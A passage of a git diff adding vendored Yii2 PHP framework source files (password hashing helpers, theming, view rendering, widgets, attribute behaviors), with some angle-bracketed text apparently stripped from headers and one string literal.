+ return $hash; + default: + throw new InvalidConfigException("Unknown password hash strategy '{$this->passwordHashStrategy}'"); + } + } + + /** + * Verifies a password against a hash. + * @param string $password The password to verify. + * @param string $hash The hash to verify the password against. + * @return boolean whether the password is correct. + * @throws InvalidParamException on bad password or hash parameters or if crypt() with Blowfish hash is not available. + * @throws InvalidConfigException on unsupported password hash strategy is configured. + * @see generatePasswordHash() + */ + public function validatePassword($password, $hash) + { + if (!is_string($password) || $password === '') { + throw new InvalidParamException('Password must be a string and cannot be empty.'); + } + + if (!preg_match('/^\$2[axy]\$(\d\d)\$[\.\/0-9A-Za-z]{22}/', $hash, $matches) || $matches[1] < 4 || $matches[1] > 30) { + throw new InvalidParamException('Hash is invalid.'); + } + + switch ($this->passwordHashStrategy) { + case 'password_hash': + if (!function_exists('password_verify')) { + throw new InvalidConfigException('Password hash key strategy "password_hash" requires PHP >= 5.5.0, either upgrade your environment or use another strategy.'); + } + return password_verify($password, $hash); + case 'crypt': + $test = crypt($password, $hash); + $n = strlen($test); + if ($n !== 60) { + return false; + } + return $this->compareString($test, $hash); + default: + throw new InvalidConfigException("Unknown password hash strategy '{$this->passwordHashStrategy}'"); + } + } + + /** + * Generates a salt that can be used to generate a password hash. + * + * The PHP [crypt()](http://php.net/manual/en/function.crypt.php) built-in function + * requires, for the Blowfish hash algorithm, a salt string in a specific format: + * "$2a$", "$2x$" or "$2y$", a two digit cost parameter, "$", and 22 characters + * from the alphabet "./0-9A-Za-z". + * + * @param integer $cost the cost parameter + * @return string the random salt value. + * @throws InvalidParamException if the cost parameter is not between 4 and 31 + */ + protected function generateSalt($cost = 13) + { + $cost = (int)$cost; + if ($cost < 4 || $cost > 31) { + throw new InvalidParamException('Cost must be between 4 and 31.'); + } + + // Get a 20-byte random string + $rand = $this->generateRandomKey(20); + // Form the prefix that specifies Blowfish (bcrypt) algorithm and cost parameter. + $salt = sprintf("$2y$%02d$", $cost); + // Append the random salt data in the required base64 format. + $salt .= str_replace('+', '.', substr(base64_encode($rand), 0, 22)); + + return $salt; + } + + /** + * Performs string comparison using timing attack resistant approach. + * @see http://codereview.stackexchange.com/questions/13512 + * @param string $expected string to compare. + * @param string $actual user-supplied string. + * @return boolean whether strings are equal. + */ + public function compareString($expected, $actual) + { + $expected .= "\0"; + $actual .= "\0"; + $expectedLength = StringHelper::byteLength($expected); + $actualLength = StringHelper::byteLength($actual); + $diff = $expectedLength - $actualLength; + for ($i = 0; $i < $actualLength; $i++) { + $diff |= (ord($actual[$i]) ^ ord($expected[$i % $expectedLength])); + } + return $diff === 0; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Theme.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Theme.php new file mode 100644 index 00000000..b89877ba --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Theme.php @@ -0,0 +1,195 @@ + '@app/themes/basic']`, + * then the themed version for a view file `@app/views/site/index.php` will be + * `@app/themes/basic/site/index.php`. + * + * It is possible to map a single path to multiple paths. For example, + * + * ~~~ + * 'pathMap' => [ + * '@app/views' => [ + * '@app/themes/christmas', + * '@app/themes/basic', + * ], + * ] + * ~~~ + * + * In this case, the themed version could be either `@app/themes/christmas/site/index.php` or + * `@app/themes/basic/site/index.php`. The former has precedence over the latter if both files exist. + * + * To use a theme, you should configure the [[View::theme|theme]] property of the "view" application + * component like the following: + * + * ~~~ + * 'view' => [ + * 'theme' => [ + * 'basePath' => '@app/themes/basic', + * 'baseUrl' => '@web/themes/basic', + * ], + * ], + * ~~~ + * + * The above configuration specifies a theme located under the "themes/basic" directory of the Web folder + * that contains the entry script of the application. If your theme is designed to handle modules, + * you may configure the [[pathMap]] property like described above. + * + * @property string $basePath The root path of this theme. All resources of this theme are located under this + * directory. + * @property string $baseUrl The base URL (without ending slash) for this theme. All resources of this theme + * are considered to be under this base URL. This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Theme extends Component +{ + /** + * @var array the mapping between view directories and their corresponding themed versions. + * If not set, it will be initialized as a mapping from [[Application::basePath]] to [[basePath]]. + * This property is used by [[applyTo()]] when a view is trying to apply the theme. + * Path aliases can be used when specifying directories. + */ + public $pathMap; + + + /** + * Initializes the theme. + * @throws InvalidConfigException if [[basePath]] is not set. + */ + public function init() + { + parent::init(); + + if (empty($this->pathMap)) { + if (($basePath = $this->getBasePath()) === null) { + throw new InvalidConfigException('The "basePath" property must be set.'); + } + $this->pathMap = [Yii::$app->getBasePath() => [$basePath]]; + } + } + + private $_baseUrl; + + /** + * @return string the base URL (without ending slash) for this theme. All resources of this theme are considered + * to be under this base URL. + */ + public function getBaseUrl() + { + return $this->_baseUrl; + } + + /** + * @param $url string the base URL or path alias for this theme. All resources of this theme are considered + * to be under this base URL. + */ + public function setBaseUrl($url) + { + $this->_baseUrl = rtrim(Yii::getAlias($url), '/'); + } + + private $_basePath; + + /** + * @return string the root path of this theme. All resources of this theme are located under this directory. + * @see pathMap + */ + public function getBasePath() + { + return $this->_basePath; + } + + /** + * @param string $path the root path or path alias of this theme. All resources of this theme are located + * under this directory. + * @see pathMap + */ + public function setBasePath($path) + { + $this->_basePath = Yii::getAlias($path); + } + + /** + * Converts a file to a themed file if possible. + * If there is no corresponding themed file, the original file will be returned. + * @param string $path the file to be themed + * @return string the themed file, or the original file if the themed version is not available. + */ + public function applyTo($path) + { + $path = FileHelper::normalizePath($path); + foreach ($this->pathMap as $from => $tos) { + $from = FileHelper::normalizePath(Yii::getAlias($from)) . DIRECTORY_SEPARATOR; + if (strpos($path, $from) === 0) { + $n = strlen($from); + foreach ((array) $tos as $to) { + $to = FileHelper::normalizePath(Yii::getAlias($to)) . DIRECTORY_SEPARATOR; + $file = $to . substr($path, $n); + if (is_file($file)) { + return $file; + } + } + } + } + + return $path; + } + + /** + * Converts a relative URL into an absolute URL using [[baseUrl]]. + * @param string $url the relative URL to be converted. + * @return string the absolute URL + * @throws InvalidConfigException if [[baseUrl]] is not set + */ + public function getUrl($url) + { + if (($baseUrl = $this->getBaseUrl()) !== null) { + return $baseUrl . '/' . ltrim($url, '/'); + } else { + throw new InvalidConfigException('The "baseUrl" property must be set.'); + } + } + + /** + * Converts a relative file path into an absolute one using [[basePath]]. + * @param string $path the relative file path to be converted. + * @return string the absolute file path + * @throws InvalidConfigException if [[baseUrl]] is not set + */ + public function getPath($path) + { + if (($basePath = $this->getBasePath()) !== null) { + return $basePath . DIRECTORY_SEPARATOR . ltrim($path, '/\\'); + } else { + throw new InvalidConfigException('The "basePath" property must be set.'); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownClassException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownClassException.php new file mode 100644 index 00000000..8f25353c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownClassException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class UnknownClassException extends Exception +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Unknown Class'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownMethodException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownMethodException.php new file mode 100644 index 00000000..6e334903 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownMethodException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class UnknownMethodException extends \BadMethodCallException +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Unknown Method'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownPropertyException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownPropertyException.php new file mode 100644 index 00000000..8f7eeaaa --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/UnknownPropertyException.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +class UnknownPropertyException extends Exception +{ + /** + * @return string the user-friendly name of this exception + */ + public function getName() + { + return 'Unknown Property'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/UserException.php b/php/yii2/basic/vendor/yiisoft/yii2/base/UserException.php new file mode 100644 index 00000000..01ca602f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/UserException.php @@ -0,0 +1,19 @@ + + * @since 2.0 + */ +class UserException extends Exception +{ +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/View.php b/php/yii2/basic/vendor/yiisoft/yii2/base/View.php new file mode 100644 index 00000000..74b0515a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/View.php @@ -0,0 +1,497 @@ + + * @since 2.0 + */ +class View extends Component +{ + /** + * @event Event an event that is triggered by [[beginPage()]]. + */ + const EVENT_BEGIN_PAGE = 'beginPage'; + /** + * @event Event an event that is triggered by [[endPage()]]. + */ + const EVENT_END_PAGE = 'endPage'; + /** + * @event ViewEvent an event that is triggered by [[renderFile()]] right before it renders a view file. + */ + const EVENT_BEFORE_RENDER = 'beforeRender'; + /** + * @event ViewEvent an event that is triggered by [[renderFile()]] right after it renders a view file. + */ + const EVENT_AFTER_RENDER = 'afterRender'; + + /** + * @var ViewContextInterface the context under which the [[renderFile()]] method is being invoked. + */ + public $context; + /** + * @var mixed custom parameters that are shared among view templates. + */ + public $params = []; + /** + * @var array a list of available renderers indexed by their corresponding supported file extensions. + * Each renderer may be a view renderer object or the configuration for creating the renderer object. + * For example, the following configuration enables both Smarty and Twig view renderers: + * + * ~~~ + * [ + * 'tpl' => ['class' => 'yii\smarty\ViewRenderer'], + * 'twig' => ['class' => 'yii\twig\ViewRenderer'], + * ] + * ~~~ + * + * If no renderer is available for the given view file, the view file will be treated as a normal PHP + * and rendered via [[renderPhpFile()]]. + */ + public $renderers; + /** + * @var string the default view file extension. This will be appended to view file names if they don't have file extensions. + */ + public $defaultExtension = 'php'; + /** + * @var Theme|array|string the theme object or the configuration for creating the theme object. + * If not set, it means theming is not enabled. + */ + public $theme; + /** + * @var array a list of named output blocks. The keys are the block names and the values + * are the corresponding block content. You can call [[beginBlock()]] and [[endBlock()]] + * to capture small fragments of a view. They can be later accessed somewhere else + * through this property. + */ + public $blocks; + /** + * @var array a list of currently active fragment cache widgets. This property + * is used internally to implement the content caching feature. Do not modify it directly. + * @internal + */ + public $cacheStack = []; + /** + * @var array a list of placeholders for embedding dynamic contents. This property + * is used internally to implement the content caching feature. Do not modify it directly. + * @internal + */ + public $dynamicPlaceholders = []; + + /** + * @var array the view files currently being rendered. There may be multiple view files being + * rendered at a moment because one view may be rendered within another. + */ + private $_viewFiles = []; + + + /** + * Initializes the view component. + */ + public function init() + { + parent::init(); + if (is_array($this->theme)) { + if (!isset($this->theme['class'])) { + $this->theme['class'] = 'yii\base\Theme'; + } + $this->theme = Yii::createObject($this->theme); + } elseif (is_string($this->theme)) { + $this->theme = Yii::createObject($this->theme); + } + } + + /** + * Renders a view. + * + * The view to be rendered can be specified in one of the following formats: + * + * - path alias (e.g. "@app/views/site/index"); + * - absolute path within application (e.g. "//site/index"): the view name starts with double slashes. + * The actual view file will be looked for under the [[Application::viewPath|view path]] of the application. + * - absolute path within current module (e.g. "/site/index"): the view name starts with a single slash. + * The actual view file will be looked for under the [[Module::viewPath|view path]] of the [[Controller::module|current module]]. + * - relative view (e.g. "index"): the view name does not start with `@` or `/`. The corresponding view file will be + * looked for under the [[ViewContextInterface::getViewPath()|view path]] of the view `$context`. + * If `$context` is not given, it will be looked for under the directory containing the view currently + * being rendered (i.e., this happens when rendering a view within another view). + * + * @param string $view the view name. + * @param array $params the parameters (name-value pairs) that will be extracted and made available in the view file. + * @param object $context the context to be assigned to the view and can later be accessed via [[context]] + * in the view. If the context implements [[ViewContextInterface]], it may also be used to locate + * the view file corresponding to a relative view name. + * @return string the rendering result + * @throws InvalidParamException if the view cannot be resolved or the view file does not exist. + * @see renderFile() + */ + public function render($view, $params = [], $context = null) + { + $viewFile = $this->findViewFile($view, $context); + return $this->renderFile($viewFile, $params, $context); + } + + /** + * Finds the view file based on the given view name. + * @param string $view the view name or the path alias of the view file. Please refer to [[render()]] + * on how to specify this parameter. + * @param object $context the context to be assigned to the view and can later be accessed via [[context]] + * in the view. If the context implements [[ViewContextInterface]], it may also be used to locate + * the view file corresponding to a relative view name. + * @return string the view file path. Note that the file may not exist. + * @throws InvalidCallException if a relative view name is given while there is no active context to + * determine the corresponding view file. + */ + protected function findViewFile($view, $context = null) + { + if (strncmp($view, '@', 1) === 0) { + // e.g. "@app/views/main" + $file = Yii::getAlias($view); + } elseif (strncmp($view, '//', 2) === 0) { + // e.g. "//layouts/main" + $file = Yii::$app->getViewPath() . DIRECTORY_SEPARATOR . ltrim($view, '/'); + } elseif (strncmp($view, '/', 1) === 0) { + // e.g. "/site/index" + if (Yii::$app->controller !== null) { + $file = Yii::$app->controller->module->getViewPath() . DIRECTORY_SEPARATOR . ltrim($view, '/'); + } else { + throw new InvalidCallException("Unable to locate view file for view '$view': no active controller."); + } + } elseif ($context instanceof ViewContextInterface) { + $file = $context->getViewPath() . DIRECTORY_SEPARATOR . $view; + } elseif (($currentViewFile = $this->getViewFile()) !== false) { + $file = dirname($currentViewFile) . DIRECTORY_SEPARATOR . $view; + } else { + throw new InvalidCallException("Unable to resolve view file for view '$view': no active view context."); + } + + if (pathinfo($file, PATHINFO_EXTENSION) !== '') { + return $file; + } + $path = $file . '.' . $this->defaultExtension; + if ($this->defaultExtension !== 'php' && !is_file($path)) { + $path = $file . '.php'; + } + + return $path; + } + + /** + * Renders a view file. + * + * If [[theme]] is enabled (not null), it will try to render the themed version of the view file as long + * as it is available. + * + * The method will call [[FileHelper::localize()]] to localize the view file. + * + * If [[renderers|renderer]] is enabled (not null), the method will use it to render the view file. + * Otherwise, it will simply include the view file as a normal PHP file, capture its output and + * return it as a string. + * + * @param string $viewFile the view file. This can be either an absolute file path or an alias of it. + * @param array $params the parameters (name-value pairs) that will be extracted and made available in the view file. + * @param object $context the context that the view should use for rendering the view. If null, + * existing [[context]] will be used. + * @return string the rendering result + * @throws InvalidParamException if the view file does not exist + */ + public function renderFile($viewFile, $params = [], $context = null) + { + $viewFile = Yii::getAlias($viewFile); + + if ($this->theme !== null) { + $viewFile = $this->theme->applyTo($viewFile); + } + if (is_file($viewFile)) { + $viewFile = FileHelper::localize($viewFile); + } else { + throw new InvalidParamException("The view file does not exist: $viewFile"); + } + + $oldContext = $this->context; + if ($context !== null) { + $this->context = $context; + } + $output = ''; + $this->_viewFiles[] = $viewFile; + + if ($this->beforeRender($viewFile, $params)) { + Yii::trace("Rendering view file: $viewFile", __METHOD__); + $ext = pathinfo($viewFile, PATHINFO_EXTENSION); + if (isset($this->renderers[$ext])) { + if (is_array($this->renderers[$ext]) || is_string($this->renderers[$ext])) { + $this->renderers[$ext] = Yii::createObject($this->renderers[$ext]); + } + /* @var $renderer ViewRenderer */ + $renderer = $this->renderers[$ext]; + $output = $renderer->render($this, $viewFile, $params); + } else { + $output = $this->renderPhpFile($viewFile, $params); + } + $this->afterRender($viewFile, $params, $output); + } + + array_pop($this->_viewFiles); + $this->context = $oldContext; + + return $output; + } + + /** + * @return string|boolean the view file currently being rendered. False if no view file is being rendered. + */ + public function getViewFile() + { + return end($this->_viewFiles); + } + + /** + * This method is invoked right before [[renderFile()]] renders a view file. + * The default implementation will trigger the [[EVENT_BEFORE_RENDER]] event. + * If you override this method, make sure you call the parent implementation first. + * @param string $viewFile the view file to be rendered. + * @param array $params the parameter array passed to the [[render()]] method. + * @return boolean whether to continue rendering the view file. + */ + public function beforeRender($viewFile, $params) + { + $event = new ViewEvent([ + 'viewFile' => $viewFile, + 'params' => $params, + ]); + $this->trigger(self::EVENT_BEFORE_RENDER, $event); + + return $event->isValid; + } + + /** + * This method is invoked right after [[renderFile()]] renders a view file. + * The default implementation will trigger the [[EVENT_AFTER_RENDER]] event. + * If you override this method, make sure you call the parent implementation first. + * @param string $viewFile the view file being rendered. + * @param array $params the parameter array passed to the [[render()]] method. + * @param string $output the rendering result of the view file. Updates to this parameter + * will be passed back and returned by [[renderFile()]]. + */ + public function afterRender($viewFile, $params, &$output) + { + if ($this->hasEventHandlers(self::EVENT_AFTER_RENDER)) { + $event = new ViewEvent([ + 'viewFile' => $viewFile, + 'params' => $params, + 'output' => $output, + ]); + $this->trigger(self::EVENT_AFTER_RENDER, $event); + $output = $event->output; + } + } + + /** + * Renders a view file as a PHP script. + * + * This method treats the view file as a PHP script and includes the file. + * It extracts the given parameters and makes them available in the view file. + * The method captures the output of the included view file and returns it as a string. + * + * This method should mainly be called by view renderer or [[renderFile()]]. + * + * @param string $_file_ the view file. + * @param array $_params_ the parameters (name-value pairs) that will be extracted and made available in the view file. + * @return string the rendering result + */ + public function renderPhpFile($_file_, $_params_ = []) + { + ob_start(); + ob_implicit_flush(false); + extract($_params_, EXTR_OVERWRITE); + require($_file_); + + return ob_get_clean(); + } + + /** + * Renders dynamic content returned by the given PHP statements. + * This method is mainly used together with content caching (fragment caching and page caching) + * when some portions of the content (called *dynamic content*) should not be cached. + * The dynamic content must be returned by some PHP statements. + * @param string $statements the PHP statements for generating the dynamic content. + * @return string the placeholder of the dynamic content, or the dynamic content if there is no + * active content cache currently. + */ + public function renderDynamic($statements) + { + if (!empty($this->cacheStack)) { + $n = count($this->dynamicPlaceholders); + $placeholder = ""; + $this->addDynamicPlaceholder($placeholder, $statements); + + return $placeholder; + } else { + return $this->evaluateDynamicContent($statements); + } + } + + /** + * Adds a placeholder for dynamic content. + * This method is internally used. + * @param string $placeholder the placeholder name + * @param string $statements the PHP statements for generating the dynamic content + */ + public function addDynamicPlaceholder($placeholder, $statements) + { + foreach ($this->cacheStack as $cache) { + $cache->dynamicPlaceholders[$placeholder] = $statements; + } + $this->dynamicPlaceholders[$placeholder] = $statements; + } + + /** + * Evaluates the given PHP statements. + * This method is mainly used internally to implement dynamic content feature. + * @param string $statements the PHP statements to be evaluated. + * @return mixed the return value of the PHP statements. + */ + public function evaluateDynamicContent($statements) + { + return eval($statements); + } + + /** + * Begins recording a block. + * This method is a shortcut to beginning [[Block]] + * @param string $id the block ID. + * @param boolean $renderInPlace whether to render the block content in place. + * Defaults to false, meaning the captured block will not be displayed. + * @return Block the Block widget instance + */ + public function beginBlock($id, $renderInPlace = false) + { + return Block::begin([ + 'id' => $id, + 'renderInPlace' => $renderInPlace, + 'view' => $this, + ]); + } + + /** + * Ends recording a block. + */ + public function endBlock() + { + Block::end(); + } + + /** + * Begins the rendering of content that is to be decorated by the specified view. + * This method can be used to implement nested layout. For example, a layout can be embedded + * in another layout file specified as '@app/views/layouts/base.php' like the following: + * + * ~~~ + * beginContent('@app/views/layouts/base.php'); ?> + * ...layout content here... + * endContent(); ?> + * ~~~ + * + * @param string $viewFile the view file that will be used to decorate the content enclosed by this widget. + * This can be specified as either the view file path or path alias. + * @param array $params the variables (name => value) to be extracted and made available in the decorative view. + * @return ContentDecorator the ContentDecorator widget instance + * @see ContentDecorator + */ + public function beginContent($viewFile, $params = []) + { + return ContentDecorator::begin([ + 'viewFile' => $viewFile, + 'params' => $params, + 'view' => $this, + ]); + } + + /** + * Ends the rendering of content. + */ + public function endContent() + { + ContentDecorator::end(); + } + + /** + * Begins fragment caching. + * This method will display cached content if it is available. + * If not, it will start caching and would expect an [[endCache()]] + * call to end the cache and save the content into cache. + * A typical usage of fragment caching is as follows, + * + * ~~~ + * if ($this->beginCache($id)) { + * // ...generate content here + * $this->endCache(); + * } + * ~~~ + * + * @param string $id a unique ID identifying the fragment to be cached. + * @param array $properties initial property values for [[FragmentCache]] + * @return boolean whether you should generate the content for caching. + * False if the cached version is available. + */ + public function beginCache($id, $properties = []) + { + $properties['id'] = $id; + $properties['view'] = $this; + /* @var $cache FragmentCache */ + $cache = FragmentCache::begin($properties); + if ($cache->getCachedContent() !== false) { + $this->endCache(); + + return false; + } else { + return true; + } + } + + /** + * Ends fragment caching. + */ + public function endCache() + { + FragmentCache::end(); + } + + /** + * Marks the beginning of a page. + */ + public function beginPage() + { + ob_start(); + ob_implicit_flush(false); + + $this->trigger(self::EVENT_BEGIN_PAGE); + } + + /** + * Marks the ending of a page. + */ + public function endPage() + { + $this->trigger(self::EVENT_END_PAGE); + ob_end_flush(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ViewContextInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ViewContextInterface.php new file mode 100644 index 00000000..f6d26e0a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ViewContextInterface.php @@ -0,0 +1,24 @@ + + * @since 2.0 + */ +interface ViewContextInterface +{ + /** + * @return string the view path that may be prefixed to a relative view name. + */ + public function getViewPath(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ViewEvent.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ViewEvent.php new file mode 100644 index 00000000..38e2f8a0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ViewEvent.php @@ -0,0 +1,39 @@ + + * @since 2.0 + */ +class ViewEvent extends Event +{ + /** + * @var string the view file being rendered. + */ + public $viewFile; + /** + * @var array the parameter array passed to the [[View::render()]] method. + */ + public $params; + /** + * @var string the rendering result of [[View::renderFile()]]. + * Event handlers may modify this property and the modified output will be + * returned by [[View::renderFile()]]. This property is only used + * by [[View::EVENT_AFTER_RENDER]] event. + */ + public $output; + /** + * @var boolean whether to continue rendering the view file. Event handlers of + * [[View::EVENT_BEFORE_RENDER]] may set this property to decide whether + * to continue rendering the current view file. + */ + public $isValid = true; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ViewRenderer.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ViewRenderer.php new file mode 100644 index 00000000..dcee8022 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ViewRenderer.php @@ -0,0 +1,30 @@ + + * @since 2.0 + */ +abstract class ViewRenderer extends Component +{ + /** + * Renders a view file. + * + * This method is invoked by [[View]] whenever it tries to render a view. + * Child classes must implement this method to render the given view file. + * + * @param View $view the view object used for rendering the file. + * @param string $file the view file. + * @param array $params the parameters to be passed to the view file. + * @return string the rendering result + */ + abstract public function render($view, $file, $params); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Widget.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Widget.php new file mode 100644 index 00000000..6a1f6f59 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Widget.php @@ -0,0 +1,208 @@ + + * @since 2.0 + */ +class Widget extends Component implements ViewContextInterface +{ + /** + * @var integer a counter used to generate [[id]] for widgets. + * @internal + */ + public static $counter = 0; + /** + * @var string the prefix to the automatically generated widget IDs. + * @see getId() + */ + public static $autoIdPrefix = 'w'; + /** + * @var Widget[] the widgets that are currently being rendered (not ended). This property + * is maintained by [[begin()]] and [[end()]] methods. + * @internal + */ + public static $stack = []; + + + /** + * Begins a widget. + * This method creates an instance of the calling class. It will apply the configuration + * to the created instance. A matching [[end()]] call should be called later. + * @param array $config name-value pairs that will be used to initialize the object properties + * @return static the newly created widget instance + */ + public static function begin($config = []) + { + $config['class'] = get_called_class(); + /* @var $widget Widget */ + $widget = Yii::createObject($config); + static::$stack[] = $widget; + + return $widget; + } + + /** + * Ends a widget. + * Note that the rendering result of the widget is directly echoed out. + * @return static the widget instance that is ended. + * @throws InvalidCallException if [[begin()]] and [[end()]] calls are not properly nested + */ + public static function end() + { + if (!empty(static::$stack)) { + $widget = array_pop(static::$stack); + if (get_class($widget) === get_called_class()) { + echo $widget->run(); + return $widget; + } else { + throw new InvalidCallException("Expecting end() of " . get_class($widget) . ", found " . get_called_class()); + } + } else { + throw new InvalidCallException("Unexpected " . get_called_class() . '::end() call. A matching begin() is not found.'); + } + } + + /** + * Creates a widget instance and runs it. + * The widget rendering result is returned by this method. + * @param array $config name-value pairs that will be used to initialize the object properties + * @return string the rendering result of the widget. + */ + public static function widget($config = []) + { + ob_start(); + ob_implicit_flush(false); + /* @var $widget Widget */ + $config['class'] = get_called_class(); + $widget = Yii::createObject($config); + $out = $widget->run(); + + return ob_get_clean() . $out; + } + + private $_id; + + /** + * Returns the ID of the widget. + * @param boolean $autoGenerate whether to generate an ID if it is not set previously + * @return string ID of the widget. + */ + public function getId($autoGenerate = true) + { + if ($autoGenerate && $this->_id === null) { + $this->_id = static::$autoIdPrefix . static::$counter++; + } + + return $this->_id; + } + + /** + * Sets the ID of the widget. + * @param string $value id of the widget. + */ + public function setId($value) + { + $this->_id = $value; + } + + private $_view; + + /** + * Returns the view object that can be used to render views or view files. + * The [[render()]] and [[renderFile()]] methods will use + * this view object to implement the actual view rendering. + * If not set, it will default to the "view" application component. + * @return \yii\web\View the view object that can be used to render views or view files. + */ + public function getView() + { + if ($this->_view === null) { + $this->_view = Yii::$app->getView(); + } + + return $this->_view; + } + + /** + * Sets the view object to be used by this widget. + * @param View $view the view object that can be used to render views or view files. + */ + public function setView($view) + { + $this->_view = $view; + } + + /** + * Executes the widget. + * @return string the result of widget execution to be outputted. + */ + public function run() + { + } + + /** + * Renders a view. + * The view to be rendered can be specified in one of the following formats: + * + * - path alias (e.g. "@app/views/site/index"); + * - absolute path within application (e.g. "//site/index"): the view name starts with double slashes. + * The actual view file will be looked for under the [[Application::viewPath|view path]] of the application. + * - absolute path within module (e.g. "/site/index"): the view name starts with a single slash. + * The actual view file will be looked for under the [[Module::viewPath|view path]] of the currently + * active module. + * - relative path (e.g. "index"): the actual view file will be looked for under [[viewPath]]. + * + * If the view name does not contain a file extension, it will use the default one `.php`. + * + * @param string $view the view name. + * @param array $params the parameters (name-value pairs) that should be made available in the view. + * @return string the rendering result. + * @throws InvalidParamException if the view file does not exist. + */ + public function render($view, $params = []) + { + return $this->getView()->render($view, $params, $this); + } + + /** + * Renders a view file. + * @param string $file the view file to be rendered. This can be either a file path or a path alias. + * @param array $params the parameters (name-value pairs) that should be made available in the view. + * @return string the rendering result. + * @throws InvalidParamException if the view file does not exist. + */ + public function renderFile($file, $params = []) + { + return $this->getView()->renderFile($file, $params, $this); + } + + /** + * Returns the directory containing the view files for this widget. + * The default implementation returns the 'views' subdirectory under the directory containing the widget class file. + * @return string the directory containing the view files for this widget. + */ + public function getViewPath() + { + $class = new ReflectionClass($this); + + return dirname($class->getFileName()) . DIRECTORY_SEPARATOR . 'views'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/behaviors/AttributeBehavior.php b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/AttributeBehavior.php new file mode 100644 index 00000000..3f2d007a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/AttributeBehavior.php @@ -0,0 +1,115 @@ + AttributeBehavior::className(), + * 'attributes' => [ + * ActiveRecord::EVENT_BEFORE_INSERT => 'attribute1', + * ActiveRecord::EVENT_BEFORE_UPDATE => 'attribute2', + * ], + * 'value' => function ($event) { + * return 'some value'; + * }, + * ], + * ]; + * } + * ~~~ + * + * @author Luciano Baraglia + * @author Qiang Xue + * @since 2.0 + */ +class AttributeBehavior extends Behavior +{ + /** + * @var array list of attributes that are to be automatically filled with the value specified via [[value]]. + * The array keys are the ActiveRecord events upon which the attributes are to be updated, + * and the array values are the corresponding attribute(s) to be updated. You can use a string to represent + * a single attribute, or an array to represent a list of attributes. For example, + * + * ```php + * [ + * ActiveRecord::EVENT_BEFORE_INSERT => ['attribute1', 'attribute2'], + * ActiveRecord::EVENT_BEFORE_UPDATE => 'attribute2', + * ] + * ``` + */ + public $attributes = []; + /** + * @var mixed the value that will be assigned to the current attributes. This can be an anonymous function + * or an arbitrary value. If the former, the return value of the function will be assigned to the attributes. + * The signature of the function should be as follows, + * + * ```php + * function ($event) + * { + * // return value will be assigned to the attribute + * } + * ``` + */ + public $value; + + + /** + * @inheritdoc + */ + public function events() + { + return array_fill_keys(array_keys($this->attributes), 'evaluateAttributes'); + } + + /** + * Evaluates the attribute value and assigns it to the current attributes. + * @param Event $event + */ + public function evaluateAttributes($event) + { + if (!empty($this->attributes[$event->name])) { + $attributes = (array) $this->attributes[$event->name]; + $value = $this->getValue($event); + foreach ($attributes as $attribute) { + // ignore attribute names which are not string (e.g. when set by TimestampBehavior::updatedAtAttribute) + if (is_string($attribute)) { + $this->owner->$attribute = $value; + } + } + } + } + + /** + * Returns the value of the current attributes. + * This method is called by [[evaluateAttributes()]]. Its return value will be assigned + * to the attributes corresponding to the triggering event. + * @param Event $event the event that triggers the current attribute updating. + * @return mixed the attribute value + */ + protected function getValue($event) + { + return $this->value instanceof Closure ? call_user_func($this->value, $event) : $this->value; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/behaviors/BlameableBehavior.php b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/BlameableBehavior.php new file mode 100644 index 00000000..dbf670a4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/behaviors/BlameableBehavior.php @@ -0,0 +1,111 @@ + BlameableBehavior::className(), + * 'createdByAttribute' => 'author_id', + * 'updatedByAttribute' => 'updater_id', + * ], + * ]; + * } + * ``` + * + * @author Luciano Baraglia + * @author Qiang Xue + * @author Alexander Kochetov + * @since 2.0 + */ +class BlameableBehavior extends AttributeBehavior +{ + /** + * @var string the attribute that will receive current user ID value + * Set this property to false if you do not want to record the creator ID. + */ + public $createdByAttribute = 'created_by'; + /** + * @var string the attribute that will receive current user ID value + * Set this property to false if you do not want to record the updater ID. + */ + public $updatedByAttribute = 'updated_by'; + /** + * @var callable the value that will be assigned to the attributes. This should be a valid + * PHP callable whose return value will be assigned to the current attribute(s). + * The signature of the callable should be: + * + * ```php + * function ($event) { + * // return value will be assigned to the attribute(s) + * } + * ``` + * + * If this property is not 